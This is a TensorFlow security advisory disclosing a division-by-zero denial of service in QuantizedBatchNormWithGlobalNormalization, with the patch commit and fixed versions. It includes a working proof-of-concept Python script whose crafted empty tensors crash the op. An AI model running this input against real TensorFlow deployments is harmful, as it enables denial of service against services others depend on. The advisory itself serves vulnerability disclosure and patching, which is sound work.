Division by 0 in `QuantizedBatchNormWithGlobalNormalization`

Impact

An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:

import tensorflow as tf

t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([], shape=[0], dtype=tf.quint8)
m_min = tf.constant(-10.0, dtype=tf.float32)
m_max = tf.constant(-10.0, dtype=tf.float32)
v = tf.constant([], shape=[0], dtype=tf.quint8)
v_min = tf.constant(-10.0, dtype=tf.float32)
v_max = tf.constant(-10.0, dtype=tf.float32)
beta = tf.constant([], shape=[0], dtype=tf.quint8)
beta_min = tf.constant(-10.0, dtype=tf.float32)
beta_max = tf.constant(-10.0, dtype=tf.float32)
gamma = tf.constant([], shape=[0], dtype=tf.quint8)
gamma_min = tf.constant(-10.0, dtype=tf.float32)
gamma_max = tf.constant(-10.0, dtype=tf.float32)

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
  gamma_max=gamma_max, out_type=tf.qint32,
  variance_epsilon=0.1, scale_after_normalization=True)

This is because the implementation does not validate all constraints specified in the op's contract.

Patches

We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.